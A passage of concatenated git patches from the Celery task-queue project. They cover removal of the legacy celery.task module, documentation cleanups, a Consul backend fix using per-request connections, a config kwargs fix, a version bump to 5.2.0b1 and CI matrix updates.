though there are 10 (0-9) priority levels, these are consolidated into 4 levels by default to save resources. This means that a -queue named celery will really be split into 4 queues: +queue named celery will really be split into 4 queues. + +The highest priority queue will be named celery, and the the other queues will +have a separator (by default `\x06\x16`) and their priority number appended to +the queue name. .. code-block:: python - ['celery0', 'celery3', 'celery6', 'celery9'] + ['celery', 'celery\x06\x163', 'celery\x06\x166', 'celery\x06\x169'] -If you want more priority levels you can set the priority_steps transport option: +If you want more priority levels or a different separator you can set the +priority_steps and sep transport options: .. code-block:: python app.conf.broker_transport_options = { 'priority_steps': list(range(10)), + 'sep': ':', 'queue_order_strategy': 'priority', } +The config above will give you these queue names: + +.. code-block:: python + + ['celery', 'celery:1', 'celery:2', 'celery:3', 'celery:4', 'celery:5', 'celery:6', 'celery:7', 'celery:8', 'celery:9'] + That said, note that this will never be as good as priorities implemented at the server level, and may be approximate at best. But it may still be good enough From 3cf5072ee5f95744024f60e0f4a77eb2edb8959f Mon Sep 17 00:00:00 2001 From: Frank Dana Date: Sat, 7 Aug 2021 01:55:04 -0400 Subject: [PATCH 301/415] Remove celery.task references in modules, docs (#6869) * Complete celery.task removal * Update docs to remove celery.tasks * docs/userguide/application: Correct reference * Fix bad @Signature references --- celery/__init__.py | 3 +-- celery/app/control.py | 2 +- celery/app/registry.py | 2 +- celery/app/task.py | 4 ++-- celery/backends/base.py | 6 +----- celery/local.py | 22 ---------------------- celery/worker/control.py | 2 +- docs/conf.py | 2 -- docs/internals/app-overview.rst | 19 ------------------- docs/userguide/application.rst | 27 ++++++++++----------------- docs/userguide/configuration.rst | 4 ++-- docs/userguide/periodic-tasks.rst | 12 ++++++------ docs/userguide/routing.rst | 2 +- docs/userguide/tasks.rst | 6 +++--- docs/whatsnew-5.1.rst | 3 ++- 15 files changed, 31 insertions(+), 85 deletions(-) diff --git a/celery/__init__.py b/celery/__init__.py index 1169a2d55f1..cc6b3dca870 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -27,7 +27,7 @@ # -eof meta- __all__ = ( - 'Celery', 'bugreport', 'shared_task', 'task', 'Task', + 'Celery', 'bugreport', 'shared_task', 'Task', 'current_app', 'current_task', 'maybe_signature', 'chain', 'chord', 'chunks', 'group', 'signature', 'xmap', 'xstarmap', 'uuid', @@ -161,7 +161,6 @@ def maybe_patch_concurrency(argv=None, short_opts=None, ], 'celery.utils': ['uuid'], }, - direct={'task': 'celery.task'}, __package__='celery', __file__=__file__, __path__=__path__, __doc__=__doc__, __version__=__version__, __author__=__author__, __contact__=__contact__, diff --git a/celery/app/control.py b/celery/app/control.py index 8bde53aebe1..551ae68bf8b 100644 --- a/celery/app/control.py +++ b/celery/app/control.py @@ -536,7 +536,7 @@ def rate_limit(self, task_name, rate_limit, destination=None, **kwargs): task_name (str): Name of task to change rate limit for. rate_limit (int, str): The rate limit as tasks per second, or a rate limit string (`'100/m'`, etc. - see :attr:`celery.task.base.Task.rate_limit` for + see :attr:`celery.app.task.Task.rate_limit` for more information). See Also: diff --git a/celery/app/registry.py b/celery/app/registry.py index 574457a6cba..707567d1571 100644 --- a/celery/app/registry.py +++ b/celery/app/registry.py @@ -36,7 +36,7 @@ def unregister(self, name): Arguments: name (str): name of the task to unregister, or a - :class:`celery.task.base.Task` with a valid `name` attribute. + :class:`celery.app.task.Task` with a valid `name` attribute. Raises: celery.exceptions.NotRegistered: if the task is not registered. diff --git a/celery/app/task.py b/celery/app/task.py index 726bb103fe7..88f34889255 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -881,7 +881,7 @@ def replace(self, sig): .. versionadded:: 4.0 Arguments: - sig (~@Signature): signature to replace with. + sig (Signature): signature to replace with. Raises: ~@Ignore: This is always raised when called in asynchronous context. @@ -941,7 +941,7 @@ def add_to_chord(self, sig, lazy=False): Currently only supported by the Redis result backend. Arguments: - sig (~@Signature): Signature to extend chord with. + sig (Signature): Signature to extend chord with. lazy (bool): If enabled the new task won't actually be called, and ``sig.delay()`` must be called manually. """ diff --git a/celery/backends/base.py b/celery/backends/base.py index 4ad6de4697b..6c046028c57 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -620,11 +620,7 @@ def delete_group(self, group_id): return self._delete_group(group_id) def cleanup(self): - """Backend cleanup. - - Note: - This is run by :class:`celery.task.DeleteExpiredTaskMetaTask`. - """ + """Backend cleanup.""" def process_cleanup(self): """Cleanup actions to do at the end of a task worker process.""" diff --git a/celery/local.py b/celery/local.py index f3803f40bec..6eed19194dd 100644 --- a/celery/local.py +++ b/celery/local.py @@ -399,20 +399,11 @@ def getappattr(path): return current_app._rgetattr(path) -def _compat_periodic_task_decorator(*args, **kwargs): - from celery.task import periodic_task - return periodic_task(*args, **kwargs) - - COMPAT_MODULES = { 'celery': { 'execute': { 'send_task': 'send_task', }, - 'decorators': { - 'task': 'task', - 'periodic_task': _compat_periodic_task_decorator, - }, 'log': { 'get_default_logger': 'log.get_default_logger', 'setup_logger': 'log.setup_logger', @@ -428,19 +419,6 @@ def _compat_periodic_task_decorator(*args, **kwargs): 'tasks': 'tasks', }, }, - 'celery.task': { - 'control': { - 'broadcast': 'control.broadcast', - 'rate_limit': 'control.rate_limit', - 'time_limit': 'control.time_limit', - 'ping': 'control.ping', - 'revoke': 'control.revoke', - 'discard_all': 'control.purge', - 'inspect': 'control.inspect', - }, - 'schedules': 'celery.schedules', - 'chords': 'celery.canvas', - } } #: We exclude these from dir(celery) diff --git a/celery/worker/control.py b/celery/worker/control.py index 9dd00d22a97..2518948f1b1 100644 --- a/celery/worker/control.py +++ b/celery/worker/control.py @@ -187,7 +187,7 @@ def rate_limit(state, task_name, rate_limit, **kwargs): """Tell worker(s) to modify the rate limit for a task by type. See Also: - :attr:`celery.task.base.Task.rate_limit`. + :attr:`celery.app.task.Task.rate_limit`. Arguments: task_name (str): Type of task to set rate limit for. diff --git a/docs/conf.py b/docs/conf.py index d5c4c9276fa..f28a5c9c72b 100644 --- a/docs/conf.py +++ b/docs/conf.py @@ -27,10 +27,8 @@ }, apicheck_ignore_modules=[ 'celery.__main__', - 'celery.task', 'celery.contrib.testing', 'celery.contrib.testing.tasks', - 'celery.task.base', 'celery.bin', 'celery.bin.celeryd_detach', 'celery.contrib', diff --git a/docs/internals/app-overview.rst b/docs/internals/app-overview.rst index 3634a5f8060..965a148cca2 100644 --- a/docs/internals/app-overview.rst +++ b/docs/internals/app-overview.rst @@ -100,18 +100,7 @@ Deprecated Aliases (Pending deprecation) ============================= -* ``celery.task.base`` - * ``.Task`` -> {``app.Task`` / :class:`celery.app.task.Task`} - -* ``celery.task.sets`` - * ``.TaskSet`` -> {``app.TaskSet``} - -* ``celery.decorators`` / ``celery.task`` - * ``.task`` -> {``app.task``} - * ``celery.execute`` - * ``.apply_async`` -> {``task.apply_async``} - * ``.apply`` -> {``task.apply``} * ``.send_task`` -> {``app.send_task``} * ``.delay_task`` -> *no alternative* @@ -146,14 +135,6 @@ Aliases (Pending deprecation) * ``.get_queues`` -> {``app.amqp.get_queues``} -* ``celery.task.control`` - * ``.broadcast`` -> {``app.control.broadcast``} - * ``.rate_limit`` -> {``app.control.rate_limit``} - * ``.ping`` -> {``app.control.ping``} - * ``.revoke`` -> {``app.control.revoke``} - * ``.discard_all`` -> {``app.control.discard_all``} - * ``.inspect`` -> {``app.control.inspect``} - * ``celery.utils.info`` * ``.humanize_seconds`` -> ``celery.utils.time.humanize_seconds`` * ``.textindent`` -> ``celery.utils.textindent`` diff --git a/docs/userguide/application.rst b/docs/userguide/application.rst index 4fb6c665e39..502353d1013 100644 --- a/docs/userguide/application.rst +++ b/docs/userguide/application.rst @@ -360,19 +360,15 @@ Finalizing the object will: .. topic:: The "default app" Celery didn't always have applications, it used to be that - there was only a module-based API, and for backwards compatibility - the old API is still there until the release of Celery 5.0. + there was only a module-based API. A compatibility API was + available at the old location until the release of Celery 5.0, + but has been removed. Celery always creates a special app - the "default app", and this is used if no custom application has been instantiated. - The :mod:`celery.task` module is there to accommodate the old API, - and shouldn't be used if you use a custom app. You should - always use the methods on the app instance, not the module based API. - - For example, the old Task base class enables many compatibility - features where some may be incompatible with newer features, such - as task methods: + The :mod:`celery.task` module is no longer available. Use the + methods on the app instance, not the module based API: .. code-block:: python @@ -380,9 +376,6 @@ Finalizing the object will: from celery import Task # << NEW base class. - The new base class is recommended even if you use the old - module-based API. - Breaking the chain ================== @@ -456,7 +449,7 @@ chain breaks: .. code-block:: python - from celery.task import Task + from celery import Task from celery.registry import tasks class Hello(Task): @@ -475,16 +468,16 @@ chain breaks: .. code-block:: python - from celery.task import task + from celery import app - @task(queue='hipri') + @app.task(queue='hipri') def hello(to): return 'hello {0}'.format(to) Abstract Tasks ============== -All tasks created using the :meth:`~@task` decorator +All tasks created using the :meth:`@task` decorator will inherit from the application's base :attr:`~@Task` class. You can specify a different base class using the ``base`` argument: @@ -513,7 +506,7 @@ class: :class:`celery.Task`. If you override the task's ``__call__`` method, then it's very important that you also call ``self.run`` to execute the body of the task. Do not - call ``super().__call__``. The ``__call__`` method of the neutral base + call ``super().__call__``. The ``__call__`` method of the neutral base class :class:`celery.Task` is only present for reference. For optimization, this has been unrolled into ``celery.app.trace.build_tracer.trace_task`` which calls ``run`` directly on the custom task class if no ``__call__`` diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index 14fa89df2ca..e225eb1fe76 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -484,7 +484,7 @@ you can set :setting:`task_store_errors_even_if_ignored`. Default: Disabled. If set, the worker stores all task errors in the result store even if -:attr:`Task.ignore_result ` is on. +:attr:`Task.ignore_result ` is on. .. setting:: task_track_started @@ -2132,7 +2132,7 @@ the final message options will be: immediate=False, exchange='video', routing_key='video.compress' (and any default message options defined in the -:class:`~celery.task.base.Task` class) +:class:`~celery.app.task.Task` class) Values defined in :setting:`task_routes` have precedence over values defined in :setting:`task_queues` when merging the two. diff --git a/docs/userguide/periodic-tasks.rst b/docs/userguide/periodic-tasks.rst index dcc360972ff..718f4c8af90 100644 --- a/docs/userguide/periodic-tasks.rst +++ b/docs/userguide/periodic-tasks.rst @@ -106,19 +106,19 @@ beat schedule list. @app.task def test(arg): print(arg) - + @app.task def add(x, y): z = x + y - print(z) + print(z) Setting these up from within the :data:`~@on_after_configure` handler means -that we'll not evaluate the app at module level when using ``test.s()``. Note that +that we'll not evaluate the app at module level when using ``test.s()``. Note that :data:`~@on_after_configure` is sent after the app is set up, so tasks outside the -module where the app is declared (e.g. in a `tasks.py` file located by -:meth:`celery.Celery.autodiscover_tasks`) must use a later signal, such as +module where the app is declared (e.g. in a `tasks.py` file located by +:meth:`celery.Celery.autodiscover_tasks`) must use a later signal, such as :data:`~@on_after_finalize`. The :meth:`~@add_periodic_task` function will add the entry to the @@ -192,7 +192,7 @@ Available Fields Execution options (:class:`dict`). This can be any argument supported by - :meth:`~celery.task.base.Task.apply_async` -- + :meth:`~celery.app.task.Task.apply_async` -- `exchange`, `routing_key`, `expires`, and so on. * `relative` diff --git a/docs/userguide/routing.rst b/docs/userguide/routing.rst index ab1a0d6c2c4..1dbac6807cf 100644 --- a/docs/userguide/routing.rst +++ b/docs/userguide/routing.rst @@ -636,7 +636,7 @@ Specifying task destination The destination for a task is decided by the following (in order): 1. The routing arguments to :func:`Task.apply_async`. -2. Routing related attributes defined on the :class:`~celery.task.base.Task` +2. Routing related attributes defined on the :class:`~celery.app.task.Task` itself. 3. The :ref:`routers` defined in :setting:`task_routes`. diff --git a/docs/userguide/tasks.rst b/docs/userguide/tasks.rst index b32ba11c8d6..afa25939461 100644 --- a/docs/userguide/tasks.rst +++ b/docs/userguide/tasks.rst @@ -92,7 +92,7 @@ Basics ====== You can easily create a task from any callable by using -the :meth:`~@task` decorator: +the :meth:`@task` decorator: .. code-block:: python @@ -743,7 +743,7 @@ Sometimes you just want to retry a task whenever a particular exception is raised. Fortunately, you can tell Celery to automatically retry a task using -`autoretry_for` argument in the :meth:`~@Celery.task` decorator: +`autoretry_for` argument in the :meth:`@task` decorator: .. code-block:: python @@ -754,7 +754,7 @@ Fortunately, you can tell Celery to automatically retry a task using return twitter.refresh_timeline(user) If you want to specify custom arguments for an internal :meth:`~@Task.retry` -call, pass `retry_kwargs` argument to :meth:`~@Celery.task` decorator: +call, pass `retry_kwargs` argument to :meth:`@task` decorator: .. code-block:: python diff --git a/docs/whatsnew-5.1.rst b/docs/whatsnew-5.1.rst index a59bb0d154f..bdd35f0773c 100644 --- a/docs/whatsnew-5.1.rst +++ b/docs/whatsnew-5.1.rst @@ -357,7 +357,7 @@ Documentation: :setting:`worker_cancel_long_running_tasks_on_connection_loss` ----------------------------------------------------------------------- `task.apply_async` now supports passing `ignore_result` which will act the same -as using `@app.task(ignore_result=True)`. +as using ``@app.task(ignore_result=True)``. Use a thread-safe implementation of `cached_property` ----------------------------------------------------- @@ -372,6 +372,7 @@ Tasks can now have required kwargs at any order Tasks can now be defined like this: .. code-block:: python + from celery import shared_task @shared_task From d3e5df32a53d71c8a3c850ca6bc35651c44b5854 Mon Sep 17 00:00:00 2001 From: Jinoh Kang Date: Sun, 8 Aug 2021 22:33:44 +0900 Subject: [PATCH 302/415] docs: remove obsolete section "Automatic naming and relative imports" (#6904) Celery 5.0 dropped support for Python 2 and only supports Python 3. Since Python 3 does not support old-style relative imports, the entire section can be dropped. Also remove a reference to the section above in docs/django/first-steps-with-django.rst. This change shall *not* be backported to Celery <5.0. Fixes #6903. Signed-off-by: Jinoh Kang --- docs/django/first-steps-with-django.rst | 9 --- docs/userguide/tasks.rst | 86 ------------------------- 2 files changed, 95 deletions(-) diff --git a/docs/django/first-steps-with-django.rst b/docs/django/first-steps-with-django.rst index 7a0727885e1..2b402c8a505 100644 --- a/docs/django/first-steps-with-django.rst +++ b/docs/django/first-steps-with-django.rst @@ -153,15 +153,6 @@ concrete app instance: You can find the full source code for the Django example project at: https://github.com/celery/celery/tree/master/examples/django/ -.. admonition:: Relative Imports - - You have to be consistent in how you import the task module. - For example, if you have ``project.app`` in ``INSTALLED_APPS``, then you - must also import the tasks ``from project.app`` or else the names - of the tasks will end up being different. - - See :ref:`task-naming-relative-imports` - Extensions ========== diff --git a/docs/userguide/tasks.rst b/docs/userguide/tasks.rst index afa25939461..60e2acf7f9d 100644 --- a/docs/userguide/tasks.rst +++ b/docs/userguide/tasks.rst @@ -237,92 +237,6 @@ named :file:`tasks.py`: >>> add.name 'tasks.add' -.. _task-naming-relative-imports: - -Automatic naming and relative imports -------------------------------------- - -.. sidebar:: Absolute Imports - - The best practice for developers targeting Python 2 is to add the - following to the top of **every module**: - - .. code-block:: python - - from __future__ import absolute_import - - This will force you to always use absolute imports so you will - never have any problems with tasks using relative names. - - Absolute imports are the default in Python 3 so you don't need this - if you target that version. - -Relative imports and automatic name generation don't go well together, -so if you're using relative imports you should set the name explicitly. - -For example if the client imports the module ``"myapp.tasks"`` -as ``".tasks"``, and the worker imports the module as ``"myapp.tasks"``, -the generated names won't match and an :exc:`~@NotRegistered` error will -be raised by the worker. - -This is also the case when using Django and using ``project.myapp``-style -naming in ``INSTALLED_APPS``: - -.. code-block:: python - - INSTALLED_APPS = ['project.myapp'] - -If you install the app under the name ``project.myapp`` then the -tasks module will be imported as ``project.myapp.tasks``, -so you must make sure you always import the tasks using the same name: - -.. code-block:: pycon - - >>> from project.myapp.tasks import mytask # << GOOD - - >>> from myapp.tasks import mytask # << BAD!!! - -The second example will cause the task to be named differently -since the worker and the client imports the modules under different names: - -.. code-block:: pycon - - >>> from project.myapp.tasks import mytask - >>> mytask.name - 'project.myapp.tasks.mytask' - - >>> from myapp.tasks import mytask - >>> mytask.name - 'myapp.tasks.mytask' - -For this reason you must be consistent in how you -import modules, and that is also a Python best practice. - -Similarly, you shouldn't use old-style relative imports: - -.. code-block:: python - - from module import foo # BAD! - - from proj.module import foo # GOOD! - -New-style relative imports are fine and can be used: - -.. code-block:: python - - from .module import foo # GOOD! - -If you want to use Celery with a project already using these patterns -extensively and you don't have the time to refactor the existing code -then you can consider specifying the names explicitly instead of relying -on the automatic naming: - -.. code-block:: python - - @app.task(name='proj.tasks.add') - def add(x, y): - return x + y - .. _task-name-generator-info: Changing the automatic naming behavior From b25123584a51ef34acd7a48d037a3b56f72699ff Mon Sep 17 00:00:00 2001 From: Alejandro Solda <43531535+alesolda@users.noreply.github.com> Date: Mon, 9 Aug 2021 11:07:57 -0300 Subject: [PATCH 303/415] Adjust sphinx settings Change deprecated config ":show-nested:" setting in favor of ":nested:" as per used sphinx-click 2.5.0 version. Remove empty page "celery.bin.amqp.html" ("celery.bin.amqp" only now has click documentation shown in "reference/cli.html"). Relates: #6902 #6905 --- docs/reference/celery.bin.amqp.rst | 11 ----------- docs/reference/cli.rst | 2 +- 2 files changed, 1 insertion(+), 12 deletions(-) delete mode 100644 docs/reference/celery.bin.amqp.rst diff --git a/docs/reference/celery.bin.amqp.rst b/docs/reference/celery.bin.amqp.rst deleted file mode 100644 index 8de8bf00de7..00000000000 --- a/docs/reference/celery.bin.amqp.rst +++ /dev/null @@ -1,11 +0,0 @@ -=========================================================== - ``celery.bin.amqp`` -=========================================================== - -.. contents:: - :local: -.. currentmodule:: celery.bin.amqp - -.. automodule:: celery.bin.amqp - :members: - :undoc-members: diff --git a/docs/reference/cli.rst b/docs/reference/cli.rst index cff2291d4ed..6432b7e300a 100644 --- a/docs/reference/cli.rst +++ b/docs/reference/cli.rst @@ -4,4 +4,4 @@ .. click:: celery.bin.celery:celery :prog: celery - :show-nested: + :nested: full From 6405ebc62348d4c1c48334cd4dff5e21233bea2f Mon Sep 17 00:00:00 2001 From: Alejandro Solda <43531535+alesolda@users.noreply.github.com> Date: Thu, 5 Aug 2021 15:15:10 -0300 Subject: [PATCH 304/415] Allow using non-true values in app kwargs Trying to instantiate Celery app with non-true kwargs will not work for those configs which have True as default, for example, this will not have effect: >>> app = Celery(task_create_missing_queues=False) >>> app.conf['task_create_missing_queues'] True This fix simply changes the filtering which from now on will discard None values only. Fixes: #6865 --- celery/app/base.py | 2 +- t/unit/app/test_app.py | 6 +++++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/celery/app/base.py b/celery/app/base.py index f9ac8c18818..3df9577dbe1 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -323,7 +323,7 @@ def on_init(self): """Optional callback called at init.""" def __autoset(self, key, value): - if value: + if value is not None: self._preconf[key] = value self._preconf_set_by_auto.add(key) diff --git a/t/unit/app/test_app.py b/t/unit/app/test_app.py index 33b34c00dae..215e200dd45 100644 --- a/t/unit/app/test_app.py +++ b/t/unit/app/test_app.py @@ -274,7 +274,11 @@ def test_with_broker(self, patching): with self.Celery(broker='foo://baribaz') as app: assert app.conf.broker_url == 'foo://baribaz' - def test_pending_confugration__kwargs(self): + def test_pending_configuration_non_true__kwargs(self): + with self.Celery(task_create_missing_queues=False) as app: + assert app.conf.task_create_missing_queues is False + + def test_pending_configuration__kwargs(self): with self.Celery(foo='bar') as app: assert app.conf.foo == 'bar' From e963ba6a295dadcff746e8f64fd5c98a1c65231f Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Mon, 9 Aug 2021 16:28:02 +0000 Subject: [PATCH 305/415] [pre-commit.ci] pre-commit autoupdate MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit updates: - [github.com/asottile/pyupgrade: v2.23.1 → v2.23.3](https://github.com/asottile/pyupgrade/compare/v2.23.1...v2.23.3) --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 705d6f859ae..4781a27634d 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,6 +1,6 @@ repos: - repo: https://github.com/asottile/pyupgrade - rev: v2.23.1 + rev: v2.23.3 hooks: - id: pyupgrade args: ["--py36-plus"] From 994ced05da08cf152454322a67331ac2da953fae Mon Sep 17 00:00:00 2001 From: ShaheedHaque Date: Wed, 11 Aug 2021 10:50:59 +0100 Subject: [PATCH 306/415] The Consul backend must correctly associate requests and responses (#6823) * As per #5605, the Consul backend does not cleanly associate responses from Consul with the outbound Celery request that caused it. This leaves it prone to mistaking the (final) response from an operation N as the response to an (early) part of operation N + 1. This changes fix that by using a separate connection for each request. That of course has the downside of (a) being relatively expensive and (b) increasing the rate of connection requests into Consul: - The former is annoying, but at least the backend works reliably. - The latter can cause Consul to reject excessive connection attempt, but if it does, at least it returns a clear indication of this (IIRC, it responds with an HTTP 429"too many connections" indication). Additionally, this issue can be ameliorated by enabling retries in the python-consul2 (which I believe should be turned on regards less to handle transient network issues). This is fixed by the PR in https:/github.com/poppyred/python-consul2/pull/31. Note that we have never seen (b) outside a test specifically trying to hammer the system, but we see (a) all the time in our normal system tests. To opt-out from the new behaviour add a parameter "one_client=1" to the connection URL. * Increase code coverage. * Rewrite Consul backend documentation, and describe the options now available. --- celery/backends/consul.py | 40 ++++++++++++++++++--------- docs/userguide/configuration.rst | 46 +++++++++++++++++++++++++++++--- t/unit/backends/test_consul.py | 15 +++++++++-- 3 files changed, 83 insertions(+), 18 deletions(-) diff --git a/celery/backends/consul.py b/celery/backends/consul.py index 106953a1271..a4ab148469c 100644 --- a/celery/backends/consul.py +++ b/celery/backends/consul.py @@ -31,7 +31,6 @@ class ConsulBackend(KeyValueStoreBackend): supports_autoexpire = True - client = None consistency = 'consistent' path = None @@ -40,15 +39,33 @@ def __init__(self, *args, **kwargs): if self.consul is None: raise ImproperlyConfigured(CONSUL_MISSING) - + # + # By default, for correctness, we use a client connection per + # operation. If set, self.one_client will be used for all operations. + # This provides for the original behaviour to be selected, and is + # also convenient for mocking in the unit tests. + # + self.one_client = None self._init_from_params(**parse_url(self.url)) def _init_from_params(self, hostname, port, virtual_host, **params): logger.debug('Setting on Consul client to connect to %s:%d', hostname, port) self.path = virtual_host - self.client = consul.Consul(host=hostname, port=port, - consistency=self.consistency) + self.hostname = hostname + self.port = port + # + # Optionally, allow a single client connection to be used to reduce + # the connection load on Consul by adding a "one_client=1" parameter + # to the URL. + # + if params.get('one_client', None): + self.one_client = self.client() + + def client(self): + return self.one_client or consul.Consul(host=self.hostname, + port=self.port, + consistency=self.consistency) def _key_to_consul_key(self, key): key = bytes_to_str(key) @@ -58,7 +75,7 @@ def get(self, key): key = self._key_to_consul_key(key) logger.debug('Trying to fetch key %s from Consul', key) try: - _, data = self.client.kv.get(key) + _, data = self.client().kv.get(key) return data['Value'] except TypeError: pass @@ -84,17 +101,16 @@ def set(self, key, value): logger.debug('Trying to create Consul session %s with TTL %d', session_name, self.expires) - session_id = self.client.session.create(name=session_name, - behavior='delete', - ttl=self.expires) + client = self.client() + session_id = client.session.create(name=session_name, + behavior='delete', + ttl=self.expires) logger.debug('Created Consul session %s', session_id) logger.debug('Writing key %s to Consul', key) - return self.client.kv.put(key=key, - value=value, - acquire=session_id) + return client.kv.put(key=key, value=value, acquire=session_id) def delete(self, key): key = self._key_to_consul_key(key) logger.debug('Removing key %s from Consul', key) - return self.client.kv.delete(key) + return self.client().kv.delete(key) diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index e225eb1fe76..68207482b8e 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -2016,14 +2016,52 @@ without any further configuration. For larger clusters you could use NFS, Consul K/V store backend settings --------------------------------- -The Consul backend can be configured using a URL, for example: +.. note:: + + The Consul backend requires the :pypi:`python-consul2` library: + + To install this package use :command:`pip`: + + .. code-block:: console + + $ pip install python-consul2 + +The Consul backend can be configured using a URL, for example:: CELERY_RESULT_BACKEND = 'consul://localhost:8500/' -The backend will storage results in the K/V store of Consul -as individual keys. +or:: + + result_backend = 'consul://localhost:8500/' + +The backend will store results in the K/V store of Consul +as individual keys. The backend supports auto expire of results using TTLs in +Consul. The full syntax of the URL is:: + + consul://host:port[?one_client=1] + +The URL is formed out of the following parts: + +* ``host`` + + Host name of the Consul server. + +* ``port`` + + The port the Consul server is listening to. + +* ``one_client`` + + By default, for correctness, the backend uses a separate client connection + per operation. In cases of extreme load, the rate of creation of new + connections can cause HTTP 429 "too many connections" error responses from + the Consul server when under load. The recommended way to handle this is to + enable retries in ``python-consul2`` using the patch at + https://github.com/poppyred/python-consul2/pull/31. -The backend supports auto expire of results using TTLs in Consul. + Alternatively, if ``one_client`` is set, a single client connection will be + used for all operations instead. This should eliminate the HTTP 429 errors, + but the storage of results in the backend can become unreliable. .. _conf-messaging: diff --git a/t/unit/backends/test_consul.py b/t/unit/backends/test_consul.py index 4e13ab9d8a5..61fb5d41afd 100644 --- a/t/unit/backends/test_consul.py +++ b/t/unit/backends/test_consul.py @@ -22,10 +22,21 @@ def test_consul_consistency(self): def test_get(self): index = 100 data = {'Key': 'test-consul-1', 'Value': 'mypayload'} - self.backend.client = Mock(name='c.client') - self.backend.client.kv.get.return_value = (index, data) + self.backend.one_client = Mock(name='c.client') + self.backend.one_client.kv.get.return_value = (index, data) assert self.backend.get(data['Key']) == 'mypayload' + def test_set(self): + self.backend.one_client = Mock(name='c.client') + self.backend.one_client.session.create.return_value = 'c8dfa770-4ea3-2ee9-d141-98cf0bfe9c59' + self.backend.one_client.kv.put.return_value = True + assert self.backend.set('Key', 'Value') is True + + def test_delete(self): + self.backend.one_client = Mock(name='c.client') + self.backend.one_client.kv.delete.return_value = True + assert self.backend.delete('Key') is True + def test_index_bytes_key(self): key = 'test-consul-2' assert self.backend._key_to_consul_key(key) == key From 04771d65597f62ccf2f9d901c0d1f7c1d0f24d42 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 11 Aug 2021 16:59:17 +0300 Subject: [PATCH 307/415] =?UTF-8?q?Bump=20version:=205.1.2=20=E2=86=92=205?= =?UTF-8?q?.2.0b1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 2f0f5ef58af..66f73487a30 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.1.2 +current_version = 5.2.0b1 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index a4f05abf96d..462f53ce29c 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.1.2 (sun-harmonics) +:Version: 5.2.0b1 (sun-harmonics) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.1.2 runs on, +Celery version 5.2.0b1 runs on, - Python (3.6, 3.7, 3.8, 3.9) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.5 or 5.1.2 coming from previous versions then you should read our +new to Celery 5.0.5 or 5.2.0b1 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index cc6b3dca870..9dc6c3ce484 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'sun-harmonics' -__version__ = '5.1.2' +__version__ = '5.2.0b1' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 56eba4c83d6..600b48da6a9 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.1.2 (cliffs) +:Version: 5.2.0b1 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From e6b1c67f05e6941dcb160e951ee4ce21c885ef19 Mon Sep 17 00:00:00 2001 From: Thomas Grainger Date: Sat, 14 Aug 2021 10:56:12 +0100 Subject: [PATCH 308/415] Test windows on py3.10rc1 and pypy3.7 (#6868) * test on Windows with py3.9+ * skip couchbase on python win32 >= 3.10 * temporarily disable rust on win pypy * fix couchbase conditional syntax * fix rust condition * continue ignoring pypy on windows for now * remove redundant passenv * skip eventlet tests on windows 3.9+ * eventlet hangs on 3.6+ windows * cryptography now has pypy3.7 wheels * upgrade to rc py3.10 * add trove classifier for py3.10 * bump timeout for pypy --- .github/workflows/python-package.yml | 11 +++-------- requirements/extras/couchbase.txt | 2 +- setup.py | 1 + t/unit/backends/test_asynchronous.py | 5 +++++ 4 files changed, 10 insertions(+), 9 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 8ab6c68e6c5..41b525ca2cb 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -24,16 +24,11 @@ jobs: strategy: fail-fast: false matrix: - python-version: ['3.6', '3.7', '3.8', '3.9', '3.10.0-beta.4', 'pypy-3.6', 'pypy-3.7'] + python-version: ['3.6', '3.7', '3.8', '3.9', '3.10.0-rc.1', 'pypy-3.6', 'pypy-3.7'] os: ["ubuntu-20.04", "windows-2019"] exclude: - - os: windows-2019 - python-version: 'pypy-3.7' - os: windows-2019 python-version: 'pypy-3.6' - - os: windows-2019 - python-version: "3.10.0-beta.4" - continue-on-error: 